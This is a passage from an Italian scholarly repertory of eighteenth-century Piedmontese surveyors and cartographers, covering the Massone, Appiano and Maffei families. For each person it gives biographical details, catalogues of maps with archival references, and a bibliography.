Con Regio Biglietto dell’8 ottobre 1756 viene incaricato di visitare i lavori di riparazione compiuti alla diga sullo Chautagne (ASTO, Controllo Generale di Finanze, Buglietti, reg. 3, f. 138).
In seguito realizza i catasti di diverse comunità piemontesi, per lo più in provincia di Pinerolo, il primo dei quali gli viene commissionato dalla comunità di Lombriasco: la misura generale che esegue è tuttavia oggetto di contestazioni da parte delle autorità comunali, poiché discordante col precedente catasto del 1667 (ASTO, Finanze, I Arch., Misure territoriali e Allibramenti, m. 3, fasc. 11; PALMUCCI, p. 128).
L’11 gennaio 1759 viene approvato architetto dall’Università di Torino (Arch. Storico Univ. di Torino, Registro degli architetti, maestri de’ conti e misuratori, X.D.2, f. 204)
Per quanto riguarda la produzione occorre precisare che le due incisioni raffiguranti i ponti sul Chisone e sul Pellice sono sottoscritte “Massonus archit.”, senza indicazione del nome, ma l’attribuzione a Giovanni Matteo è confermata sia dalle date di costruzione dei ponti riportate nei titoli (1756 e 1766), posteriori alla morte di Ignazio Massone, sia dal disegno dell’Alzata del ponte sul Chisone, sottoscritto da Giovanni Matteo, che rappresenta il medesimo soggetto raffigurato nella prima incisione.
Nel repertorio compilato da Brayda, Coli e Sesia vengono inoltre segnalati un progetto del 1766 per la sistemazione del viale di accesso al Santuario del Sacro Monte di Varallo ed un rilievo degli edifici dello stesso Santuario del 1772.

Produzione di cartografia manoscritta:
- Alzata del ponte, 27 gennaio 1756 (ASTO, Carte Topografiche e Disegni, Carte Topografiche Serie III, Fenestrelle, 1).
- Cabreo dei beni di proprietà delle reverende madri di S. Agata di Vercelli, siti in territorio di Vianzino, 10 agosto 1743, fasc. di cc. 8 (AS Vercelli, Corporazioni Religiose, Disegni, 6).
- Beni propri del Beneficio di San Leonardo situati in territorio di Casanova, 30 marzo 1745 (ASVC, Arch. Avogadro di Casanova, Disegni, 70).
- Cabreo dei beni di casa Avogadro in territorio di Casanova, detti della Cappellina, 27 luglio 1745, fasc. di cc. 4 (ASVC, Arch. Avogadro di Casanova, Disegni, 71).
- Tipo dimostrativo dei beni del marchese Berzetti di Murazzano, situati in Monformoso, 10 dicembre 1746 (ASVC, Famiglia Arborio Mella, Disegni, 4).
- Tipo della cascina e beni detti della Cascinassa, posta in territorio di Balocco, appartenente al conte Giuseppe Signoris, 15 luglio 1747 (ASVC, Arch. Buronzo di Asigliano, Disegni, 7).
- CATASTRO, E MAPPA / unitamente / Reggione per reggione di tutto il Territorio di Lombriasco / in autentica forma / per copia, 25 marzo 1758 (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Lombriasco, all. D, voll. 110, 110-2).
- LIBRO IN MAPPA / DEL / TERRITORIO / DI / ROCCAPIATTA, 2 aprile 1758 (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Roccapiatta, all. D, vol. 127/1).
- MAPPA DEL TERRITORIO DI ANGROGNA, 4 agosto 1760 (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Angrogna, all. C, rot. 181).
- MAPPA GENERALE DEL LUOGO E’ TERRITORIO DI BRA, 20 novembre 1760 (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Bra, all. C, rot. 122).
- [Mappa del territorio di Virle], 6 novembre 1762 (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Virle, all. A, rot. 53).
- Profilo in Grande ove si dimostra la Fondazione della Pila & la Struttura d’una Capriata e parapetti Latterali, 10 novembre 1765 (ASTO, Carte Topografiche e Disegni, Ufficio Generale delle Finanze, Tipi cabrei e disegni - sezione II, Torino, 283).
- MAPPA DEL TERRITORIO DELLA M.TO ILL.RE COMMUNITA’ DI CAVOR, 30 agosto 1771, copia tratta da un originale del 17 ottobre 1770 (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Cavour, all. C, rot. 32)
- MAPPA DI CERCENASCO, s.d. (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Cercenasco, all. A, pf. 55).
- Profilo degli Edifici delle Regie Saline poste / nella pianura di Conflans / nella Savoja, s.d. (ASTO, Carte Topografiche e Disegni, Carte Topografiche Serie III, Conflans, 1/2).
- Due Progetti del nuovo Ponte a costrursi, per compimento della nuova strada, che dalla Capitale tende alla Città di Pinerolo, / sovra il Fiume Sangone, uno de' quali a tre vani spaziosi appoggiato a Pile costrutte di cotto, e pietra da taglio, l'altro a cinque appoggiato a colonne di legno nel / centro, e nelli estremi ad intestamenti costrutti di cotto, e pietra da taglio, s.d. (ASTO, Carte Topografiche e Disegni, Carte Topografiche per A e B, Torino 29, 29).

Produzione di cartografia a stampa:
- PONTE DI PIETRA, CHE VARCA IL FIUME CHISONE SUPERIORMENTE ALLA CITTÀ DI PINEROLO / STATO FABBRICATO NELL'ANNO MDCCLVI, s.d. (ASTO, Carte Topografiche e Disegni, Carte Topografiche Serie III, Chisone, 1).
- PONTE, CHE VARCA IL FIUME PELICE FRA LI TERRITORJ DI BRICHERASIO, E BIBIANA / STATO FABBRICATO NELL'ANNO MDCCLXVI, s.d. (ASTO, Carte Topografiche e Disegni, Carte Topografiche Serie III, Pellice, 2).

Fonti d’archivio:

Bibliografia:
C. BRAYDA-L. COLI-D. SESIA, Specializzazioni e vita professionale nel Sei e Settecento in Piemonte, in “Atti e rassegna tecnica della Società Ingegneri e Architetti in Torino”, Nuova serie, 17 (1963), n. 3, p. 120.
- L. PALMUCCI, «Tanto per servizio del Principe che per l’utile del pubblico». Misuratori, estimatori e cartografi-agrimensori, in D. BALANI, D. CARPANETTO, Professioni non togate nel Piemonte d’Antico Regime, Torino 2003, pp. 111-141.

Rimandi ad altre schede: Ignazio Massone.

Autore della scheda: Elena Marangoni

Appiano, Francesco Antonio

Francesco Antonio Appiano
N.
M.

Relazioni di parentela: Padre di Mauro Appiano, misuratore (vedi scheda) e di Pietro Paolo notaio

Ente/istituzione di appartenenza:
Qualifica: misuratore estimatore

Biografia:
Attivo dal 1702 fino a circa la metà del secolo a Moncalieri

Produzione scientifica:
Esercita la professione di misuratore estimatore prevalentemente per il Comune di Moncalieri e per alcune famiglie notabili della città; si occupa di misure agrimensorie e di ricognizioni territoriali, tra cui in particolare la misura ed estimo delle alluvioni del Po e degli altri fiumi nel territorio di Moncalieri, per la ridefinizione dei limiti di proprietà, oltre a ricognizioni di terre comuni usurpate o accensate, di strade, delle sponde fluviali. Dagli Ordinati comunali è possibile ricostruire la sua intensa attività svolta per committenza del Comune, nel quale rivestirà anche incarico di Consigliere. Lo spoglio del notarile della tappa d’insinuazione di Moncalieri ha fornito una sola attestazione riguardante l’estimo e misura per una divisione ereditaria (AST, Ufficio d’Insinuazione, Tappa di Moncalieri, reg. 214, 1751, ff. 403v.-408v.). Nessuna attestazione invece risulta di attività svolta per committenza della Camera dei Conti, dell’Ordine di Malta e dell’Ordine dei SS. Maurizio e Lazzzaro.
L’attività cartografica è documentata dal 1719; di Francesco Antonio Appiano si conoscono finora quattro carte topografiche manoscritte e un cabreo per committenza, come due delle carte, del Conte Carlo Gaspare Paganini di Lemie. Le carte e il cabreo denotano buone capacità di cartografo; quest’ultimo in particolare è di pregevolissima fattura e unisce al disegno cartografico uno straordinario apparato decorativo al quale non è forse estranea anche la mano di un pittore, ancora ignoto, ma da ricercarsi certamente tra i grandi decorativisti di corte della metà del XVIII secolo.

Produzione di cartografia manoscritta:
• [Carta della permuta tra gli eredi del fu Sig. Auditore Paganini e i R. Padri Carmelitani di Moncalieri], 10 luglio 1719 (ASC Moncalieri, Serie V, pt. III, n. 1)
• [Carta del tenimento della Rotta in Moncalieri del Conte Carlo Paganini], 15 settembre 1731 (ASC Moncalieri, Serie V, pt. III, n. 2)
• Tippo Regolare o sij Figura del Luogo di due Pezze di Campo, Mejsino e Gerbido, ambe simultenenti, poste sovra le fini di Vinovo […], 5 gennaio 1736 (ASC Moncalieri, Serie V, pt. I, n. 48)
• Tippo Dimostrativo della Strada che principia alla Capella di S. Grato esistente nella Regione detta di Meijrano […], 17 maggio 1743 (ASC Moncalieri, Serie V, pt. I, n. 73)
• Cabreodelle cassine e Beni dell’Illustrissimo Signor Conte Carlo Gaspare Paganini dei Signori di Lemie, 1744 (ASC Moncalieri, Biblioteca, n. 7)

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
P. SERENO, Francesco Antonio Apppiano, un agrimensore-cartografo a Moncalieri nel Settecento, in C. BONARDI- R. BORDONE- R. COMBA- P. SERENO (a cura di), Viaggio nella memoria del territorio. Percorso nell’Archivio Storico di Moncalieri, Catalogo della mostra, Moncalieri 2002, pp. 43-50

Rimandi ad altre schede:

Autore della scheda: Paola Sereno

Maffei, Giovanni Stefano

Giovanni Stefano Maffei
N. Graglia 1708
M. Ivrea 1783

Relazioni di parentela: Fratello del misuratore Carlo Amedeo Maffei (v. scheda). Il nonno è da identificare col Carlo Maffeo che ottiene le patenti di misuratore il 16 dicembre 1684 (ASTO, Camerale, Patenti Piemonte, art. 687, serie 1626-1696, vol. 105, f. 168).

Ente/istituzione di appartenenza:
Qualifica: misuratore

Biografia:

Produzione scientifica:
La sua lunga carriera si svolge principalmente al servizio dell’Azienda delle Fabbriche e Fortificazioni, per la quale presta servizio dal 1732 sino alla morte, con compiti connessi principalmente alla misura ed estimo delle opere murarie erette presso i cantieri statali attivati per la costruzione e manutenzione delle fortezze. I mandati di pagamento emessi in suo favore ne testimoniano l’attività presso le fortificazioni di Tortona, Valenza, Serravalle, Novara, Casale, Alessandria, Acqui, Bobbio, Cuneo, Demonte e alta Valle di Stura, Piacenza, Ivrea, Savona e Altare; intensissima è in particolare l’attività negli ’40 del Settecento presso le piazzeforti interesssate dalla guerra di successione austriaca, dove si avvale dell’assistenza del nipote Carlo Giacinto Maffei, figlio del fratello Carlo Amedeo (ASTO, Camerale, Fabbriche e Fortificazioni, art. 183, Conto della Tesoreria Fortificazioni e Fabbriche, regg. 3-53). Dal 1751 è invece destinato stabilmente ad Ivrea, dove gli viene affidata la direzione dei lavori presso il castello di quella città e presso le fortificazioni di Bard, Verrua e Chivasso.
Il 10 aprile 1752 supera l’esame da misuratore presso l’Università di Torino (Arch. Storico Univ. di Torino, Registro degli architetti, maestri de’ conti e misuratori, X.D.2, f. 135) ed acquista una Piazza (ASTO, Controllo Generale Finanze, Notai e Misuratori, reg. 8, f. 143, 14 aprile 1752): munito di tali titoli affianca all’attività per l’Azienda altri incarichi, realizzando i catasti di due comunità presso Ivrea, Novareglia ed Albiano; per quest’ultimo si avvale dell’assistenza del geometra Borione di Graglia (v. scheda su Giovanni Bernardo Borione). Nel 1778 viene incaricato dall’Intenendente provinciale di eseguire il collaudo della mappa catastale di Ivrea, realizzata da Giuseppe Antonio Vigna (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Ivrea, all. E, vol. 59).
Nel 1774 viene nominato Regio Misuratore ed Estimatore Generale di S.M. e gli viene attribuito uno stipendio annuo di lire 150 (ASTO, Patenti Controllo Finanze, reg. 48, f. 138 v.) in riconoscimento dei 43 anni prestati al servizio dell’Azienda Fabbriche e Fortificazioni. Il 12 febbraio 1780 riceve le patenti di giubilazione, con cui il suo stipendio viene raddoppiato (Ivi, reg. 58, f. 46 v.), ma tale atto non segna una cessazione dell’attività professionale, dal momento che egli continua a lavorare sino a pochi giorni prima del suo decesso, avvenuto ad Ivrea nel 1783 (ASTO, Min. della Guerra, Azienda Generale Fabbriche e Fortificazioni, Lettere della Prov. di Ivrea, reg. 37, 5.7.1783).
Aveva tentato di avviare due figli maschi all’esercizio della sua stessa professione, esprimendo tale volontà sia in un primo testamento redatto nel 1771 (ASBI, Notai del distretto di Biella, Carlo Giuseppe Gatto, vol. 1774, f. 147), sia introducendoli ad impieghi presso l’Azienda Fabbriche e Fortificazioni, ma entrambi ne vengono allontanati a causa di gravi inadempienze, deludendo le aspettative paterne. Nel 1781 Giovanni Stefano fa quindi dono della Piazza da misuratore al Santuario di Graglia con l’unica condizione che, in caso di vendita, venga accordato un diritto di prelazione ai propri nipoti (ASBI, Insinuazione di Biella, vol. 637, ff. 315 v.-316 v., 5 settembre 1781): tale facoltà non viene però esercitata e negli anni seguenti gli gli amministratori del Santuario concederanno la Piazza in affitto prima ad un altro misuratore di Graglia, Antonio Destefanis, e poi a Michele Garino di Leynì (ASTO, Controllo Generale Finanze, Notai e Misuratori, reg. 35, f. 28 v., 11 luglio 1783, e Ibid., reg. 48, f. 27v., 11 novembre 1796).
Egli muore senza lasciare alcun erede diretto della propria attività professionale, sebbene altri membri della famiglia continuino ad operare in quel campo: oltre ai figli di suo fratello Carlo Amedeo, diventano misuratori un figlio di sua sorella Amedea, Luca Antonio Gabino, ed il marito di una delle sue figlie, Giuseppe Trombone, di Vercelli.

Produzione di cartografia manoscritta:
[Mappa del territorio di Novareglia], 18 giugno 1765 (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Novareglia, all. A, pf. 47).
- MAPPA TERRITORIALE / DEL LUOGO D’ALBIANO / PROVINCIA D’IVREA / FATTA NEL ANNO MDCCLXXI, 1771 (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Albiano, all. C, rot. 176).
- CARTA TOPOGRAFICA / di parte del Corso del Ticino, che comprende esso Fiume cominciando alquanto superiormente dal Luogo / della Tolentina, per sino alla chiesa di S. Lanfranco in poca distanza della Città di Pavia, unitamente ai Luoghi / di S. Varese, Torre, Isola, Villanova, Carbonara, Sabione, Terreni, Fabbriche, Strade, Roggie, Porti, guadi per passar / il Ticino in tempo dell'acque basse, e Rippe & che si ritrovano a dritta, ed alla sinistra d'esso Fiume Ticino / pendente la distesa suddetta, carta in 9 parti (di cui sono conservate solamente le parti II, IV, VIII, XIX) con sottoscrizioni di Gio Steffano Maffeÿ e Filiberto Rochietti, s.d. (ASTO, Carte Topografiche e Disegni, Carte Topografiche per A e B, Ticino, 1).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
E. MARANGONI, La professione di misuratore nel Piemonte del Settecento attraverso la ricostruzione di percorsi biografici: il caso della famiglia Maffei, in P. SERENO (a cura di), Storie di cartografi, storia della cartografia: la biografia nella ricerca geografica, in stampa.

Rimandi ad altre schede: Giovanni Bernardo Borione, Luca Antonio Gabino, Andrea Grato Maffei, Carlo Amedeo Maffei, Carlo Giacinto Maffei.

Autore della scheda: Elena Marangoni

Maffei, Carlo Giacinto

Carlo Giacinto Maffei
N. Graglia 1728
M. Graglia

Relazioni di parentela: È figlio di Carlo Amedeo, fratello di Andrea Grato e nipote di Giovanni Stefano Maffei, tutti misuratori

Ente/istituzione di appartenenza:
Qualifica: misuratore

Biografia:
Viene approvato misuratore dall’Università di Torino il 17 luglio 1756 (Arch. Storico Univ. di Torino, Registro degli architetti, maestri de’ conti e misuratori, X.D.2, f. 179). Il 19 luglio dello stesso anno acquista una Piazza da misuratore per il Piemonte dalle Regie Finanze (ASTO, Controllo Generale Finanze, Notai e Misuratori, reg. 12, f. 67).
A partire da quella data risiede a Fossano insieme al fratello Andrea Grato per realizzare il catasto di quella città; in seguito esegue i catasti delle comunità di Cervere, Racconigi, Caramagna, Saluzzo e Cavallermaggiore, in provincia di Saluzzo, le cui mappe sono sottoscritte tra il 1765 ed il 1775.
Nel 1756 viene anche chiamato dalla città di Alba come esperto nella soluzione delle opposizioni sollevate da diversi particolari in seguito alla contestata misura generale compiuta da Giacomo Maria Isnardi e Carlo Antonio Vigna (PALMUCCI, p. 131).
Il 23 febbraio 1763, insieme al fratello Andrea Grato, ottiene l’emancipazione dal padre Carlo Amedeo, che rende indipendenti i due figli ed assegna loro la proprietà di tutti i beni in forma indivisa (ASBI, Notai del distretto di Biella, I versamento, Gio Pietro Bertola, vol. 2285, ff. 107-110; cfr. la scheda relativa a Carlo Amedeo Maffei).
Accanto alla realizzazione dei catasti, a partire dal 1764 produce alcune carte relative a beni appartenenti al Principe di Carignano situati nel Saluzzese che hanno per oggetto fiumi e canali utilizzati per l’irrigazione e l’azionamento di mulini e filatoi.
Nel 1778 viene incaricato, insieme ad Andrea Grato ed al misuratore Giovanni Giacomo Zoccola (v. scheda) della misura generale della città di Cherasco. La realizzazione del nuovo catasto è piuttosto tormentata (TARICCO): nel corso del 1783 i Maffei presentano al Consiglio comunale una memoria relativa a lavori che sostengono non essere compresi nella capitolazione del 1778; la controversia viene risolta grazie all’arbitrato dell’architetto Giovanni Michele Marentier, direttore delle operazioni geometriche nell’Ufficio del censimento di Torino e nel 1784 vengono consegnate le mappe ed i libri catastali. Ma le nuove misure e l’attribuzione degli allibramenti suscitano le opposizioni di diversi particolari che danno luogo ad una lite composta solo nel 1790 in seguito alla nomina di un’apposita delegazione regia (ASTO, Insinuazione di Torino, 1790, lib. 3°, cc. 2519 e ss.). Durante la permanenza a Cherasco i fratelli Maffei realizzano diverse misure e tipi commissionati loro dal Consiglio comunale (TARICCO, pp. 97-98) e Carlo Amedeo sottoscrive anche una carta relativa ad un nuovo ponte sul fiume Pesio fatto costruire dalla città di Mondovì ed un cabreo dei beni della Commenda mauriziana di S. Antonio di Cherasco. Sono inoltre attestati due pagamenti da parte dell’Azienda delle Fabbriche e Fortificazioni per riparazioni e lavori effettuati presso il castello di Cherasco nel 1782 e nel 1790 (ASTO, Camerale, Fabbriche e Fortificazioni, art. 183, Conto della Tesoreria Fortificazioni e Fabbriche, reg. 48, 1782, f. 66; reg. 56, 1790, f. 45).
Sebbene sia attivo prevalentemente nelle province di Saluzzo e Mondovì continua a mantenere beni ed interessi nella comunità d’origine, dove trascorre l’ultima parte della vita, come testimoniato da diversi atti notarili redatti negli anni ’90 del Settecento nei quali viene indicato come residente a Graglia; in quella comunità inoltre uno dei suoi figli, Carlo Giacinto, continua a risiedere ed eserciatare la professione di notaio.

Produzione scientifica:

Produzione di cartografia manoscritta:
- [Mappa della comunità di Neviglie], 17 aprile 1754, sottoscritta da Carlo Amedeo Maffei e Carlo Giacinto Maffei (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Neviglie, all. C, rot. 137).
- [Mappa della comunità di Barbaresco], 1759, copia sottoscritta Carlo Giacinto Maffei tratta dall’originale sottoscritto il 21 giugno 1755 da Carlo Amedeo Maffei e Carlo Giacinto Maffei (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Barbaresco, all. C, rot. 67).
- [Mappa della città e territorio di Fossano], 13 dicembre 1762 (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Fossano, all. C, rot. 199).
- Tipo Regolare Del Corso della Macra Morta e de Fossi laterali alla Strada Pubblica di Cavaler Leone con deriva[zio] ne da essi d’altri Fossi per l’irrigazione de prati della Cerosa ed altri, 19 settembre 1764 (ASTO, Carte Topografiche e Disegni, Azienda Savoia-Carignano, tipi e disegni, Macra torrente, 198).
- Tipo Regolare del Corso della Macra Morta con le derivaz[io]ni da essa per l’irriga[zione] de prati sulle presenti Fini, 19 dicembre 1764 (ASTO, Carte Topografiche e Disegni, Azienda Savoia-Carignano, tipi e disegni, Macra torrente, 254).
- [Mappa della comunità di Cervere], 2 gennaio 1765 (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Cervere, all. A, pf. 81/B).
- Tipo Regolare de’ Prati sovra le Fini di / Cavalerleone proprie di S.A.S. il Sig.r Principe di / Carignano, quali vengano irrigati dalla Bealera / Macramorta, e parte dalla Bealera detta del Battitore, 23 febbraio 1765 (ASTO, Carte Topografiche e Disegni, Azienda Savoia-Carignano, tipi e disegni, Cavallerleone bealere, 203).
- Tipo Regolare del Corso del Tor.e Macra, e Bealera Inser[vie]n.ti a Beneff° de Molini di questo Luogo / ed a Beneff° degli edificy de Filatori, 1° dicembre 1765 (due carte con medesimi titolo e sottoscrizione; ASTO, Carte Topografiche e Disegni, Azienda Savoia-Carignano, tipi e disegni, Macra torrente, 204/1-2).
- [Mappa della comunità di Racconigi], 24 dicembre 1765 (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Racconigi, all. C, rot. 2).
- Tipo Regolare del corso della Macra, Strade Pubblica, e vicinale, e Fossi / a Ponente di detta Macra e demostrativo dalla parte di Levante della med:ma in / quella parte in cui si dirama la Bealera di Cavalerleone, 19 aprile 1766 (ASTO, Carte Topografiche e Disegni, Azienda Savoia-Carignano, tipi e disegni, Macra torrente, 207).
- Tipo dimostrativo di parte della Linea divisionale de Respettivi Territori di Racconiggi, e / Caramagna indicante il corso delle Bealere dette della Tagliata, e Paperero, e posizione / della Ficca in esse detta pur del paperero sovra d.i Resp.vi Territ.ri / come nel presente Tipo, 17 settembre 1768 (ASTO, Azienda Savoia Carignano, cat. 38, m. 12, f. 2).
- [Mappa della comunità di Caramagna], 4 aprile 1770 (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Caramagna, all. C, rot. 156).
- [Mappa della città e territorio di Saluzzo], 30 marzo 1772 (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Saluzzo, all. A, pf. 79-80).
- Cassina denominata la / Pedaggera / Fini di Cavallerleone, 14 luglio 1774 (ASTO, Carte Topografiche e Disegni, Casa di S.M., Cavallerleone, 76/1).
- Corso del Torrente Macra con i terreni circostanti appartenenti al Principe di Carignano, 14 luglio 1774, (ASTO, Carte Topografiche e Disegni, Casa di S.M., Cavallerleone, n. 76/2).
- [Mappa della comunità di Cavallermaggiore], 2 dicembre 1775 (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Racconigi, all. C, rot. 1).
- Tipo / Dimostrativo del Corso di diverse Bealere, e Torenti / che conducono l’acqua ne Luoghi di Cavaler Magg[ior]e, e Racconiggi, 22 aprile 1780 (ASTO, Carte Topografiche e Disegni, Azienda Savoia-Carignano, tipi e disegni, Cavallermaggiore, bealere, 171).
- PIANO REGOLARE DEL CONVENTO DEL CARMINE / DI CHERASCO, copia sottoscritta da Carlo Giacinto Maffei il 27 marzo 1781 estratta da un originale di Andrea Grato Maffei del 1780 (ASTO, Carte Topografiche e Disegni, Controllo Generale di Finanze, Tipi annessi alle patenti sec. XVIII, Cherasco, 131).
- Tipo Regolare di parte dell’Alveo del Fiume Pesio Superiormente, ed inferiormente al Nuovo Ponte fatto costruere dall’Ill[ustrissi]ma Città di Mondovì sovra esso, a benefficio della strada che dal Luogo di Magliano Superiore tende alla Città predetta / e de’ Ripari, che si credono necessarj a farsi per contenere le acque discorrenti in esso, sotto a detto Nuovo Ponte, copia sottoscritta da Gio Rochietti il 3 settembre 1781 tratta da un originale di Carlo Giacinto Maffei del 6 agosto 1781 (ASTO, Carte Topografiche e Disegni, Controllo Generale di Finanze, Tipi annessi alle patenti sec. XVIII, Pesio, fiume, n. 147).
- [Mappa della città e territorio di Cherasco], copia del 6 dicembre 1790 sottoscritta Carlo Giacinto Maffei, tratta da un originale del 2 ottobre 1784 di Carlo Giacinto Maffei, Andrea Grato Maffei e Giovanni Giacomo Zoccola (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Cherasco, all. C, rot. 178/A-B-C-D).
- Cabreo / Regolare de’ Beni situati sulle Fini/ della presente città spettanti alla Comenda / sotto il titolo di S. Antonio della S.a Religione/ de’ SS.ti Maurizio e Lazaro in oggi posseduta/ dall’Ill.mo Sig.r Conte e Commendatore D. Carlo / Rovero di S.t Steffano Rovero formato da / me sottoscritto in dipendenza di Delegaz.ne/ spedita in capo del M.o Ill.re Sig.re Notajo / Michele Coda da S.E. il Sig.r Conte Don / Filippo Ferrero della Marmora Cavalie.re / del Supremo Ordine della Sant.ma Annunciat.a / Gran Croce Gran conservatore di detta S.cra / Religione et ordine Militare Ministro di / Stato di S.M. Gran Mastro della Sacra R.e / Casa e Luogot.ne Generale di Cavalleria in / vigor di Lettere delli 6 marzo 1788 / debitamente spedite sigillate / e sottoscritte Ravichio, 1788 (AOM, Cabrei, Cherasco 2, Commenda S. Antonio di Cherasco 1788).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
G. GEUSA, Contributo alla catalogazione di materiali storico-cartografici: i cabrei settecenteschi dell’Ordine dei Santi Maurizio e Lazzaro, tesi di laurea, rel. Prof.ssa Paola Sereno, Università degli Studi di Torino, Facoltà di Lettere e Filosofia, a.a. 1987-88, pp. 234-238.
- L. PALMUCCI, «Tanto per servizio del Principe che per l’utile del pubblico». Misuratori, estimatori e cartografi-agrimensori, in D. BALANI, D. CARPANETTO, Professioni non togate nel Piemonte d’Antico Regime, Torino 2003, pp. 111-135.
- B. TARICCO, Intorno alla redazione del nuovo catasto della città di Cherasco (Maffei, 1778-1790), in “Boll. Soc. Studi Storici, Archeologici Artistici Prov. Cuneo”, 130 (2004), pp. 95-111.
- E. MARANGONI, La professione di misuratore nel Piemonte del Settecento attraverso la ricostruzione di percorsi biografici: il caso della famiglia Maffei, in P. SERENO (a cura di), Storie di cartografi, storia della cartografia: la biografia nella ricerca geografica, in stampa.

Rimandi ad altre schede: Andrea Grato Maffei, Carlo Amedeo Maffei, Giovanni Stefano Maffei, Giovanni Giacomo Zoccola.

Autore della scheda: Elena Marangoni